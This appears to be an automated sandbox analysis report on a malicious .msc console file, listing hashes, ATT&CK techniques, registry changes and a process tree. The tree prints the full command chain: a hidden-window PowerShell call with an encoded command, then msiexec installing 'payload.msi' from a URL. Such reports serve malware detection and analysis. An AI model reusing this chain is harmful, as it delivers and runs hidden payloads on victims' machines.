690a71fe18b9191bebfcfedeb4873b49d6601df9ba25e3bf13b3b00783cc474c

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-09-2024 12:29

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General

Target

console_taskpad.msc
Size

89KB
MD5

2eb6d269b47a185ee8f7b01a9119f3b9
SHA1

1563289aa3f9561c72982500192e6d64c1c54d33
SHA256

690a71fe18b9191bebfcfedeb4873b49d6601df9ba25e3bf13b3b00783cc474c
SHA512

16beb9a1ad5f498cd99c5470047ce7ffee0affac28d921a4b948e296f853d32ca77ce1091fb3bf052e58bc7a7f5886752788159136b4067a7e4fbb601c0096cb
SSDEEP

384:TOA5bzsRKLRkJ/6ke1Wt7qGWtqykfqrV6Ekh:6gbwVgWTUV6Ekh

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
2896	msiexec.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	mmc.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	mmc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	mmc.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2056	mmc.exe
2896	msiexec.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: 33	2056	mmc.exe
Token: SeIncBasePriorityPrivilege	2056	mmc.exe
Token: 33	2056	mmc.exe
Token: SeIncBasePriorityPrivilege	2056	mmc.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeShutdownPrivilege	2896	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2896	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2896	msiexec.exe
2896	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2056	mmc.exe
2056	mmc.exe
2056	mmc.exe
2056	mmc.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 2760	2056	mmc.exe	31
PID 2056 wrote to memory of 2760	2056	mmc.exe	31
PID 2056 wrote to memory of 2760	2056	mmc.exe	31
PID 2760 wrote to memory of 2896	2760	powershell.exe	33
PID 2760 wrote to memory of 2896	2760	powershell.exe	33
PID 2760 wrote to memory of 2896	2760	powershell.exe	33
PID 2760 wrote to memory of 2896	2760	powershell.exe	33
PID 2760 wrote to memory of 2896	2760	powershell.exe	33

C:\Windows\system32\mmc.exe
C:\Windows\system32\mmc.exe "C:\Users\Admin\AppData\Local\Temp\console_taskpad.msc"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -encodedCommand bQBzAGkAZQB4AGUAYwAgAC0AaQAgAGgAdAB0AHAAOgBcAFwAXABcAGwAbwBjAGEAbABoAG8AcwB0AFwAXABwAGEAeQBsAG8AYQBkAC4AbQBzAGkA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" -i http:\\\\localhost\\payload.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2056-0-0x0000000002130000-0x0000000002131000-memory.dmp

Filesize
4KB

Download
memory/2056-21-0x0000000002130000-0x0000000002131000-memory.dmp

Filesize
4KB

Download
memory/2760-19-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2760-20-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download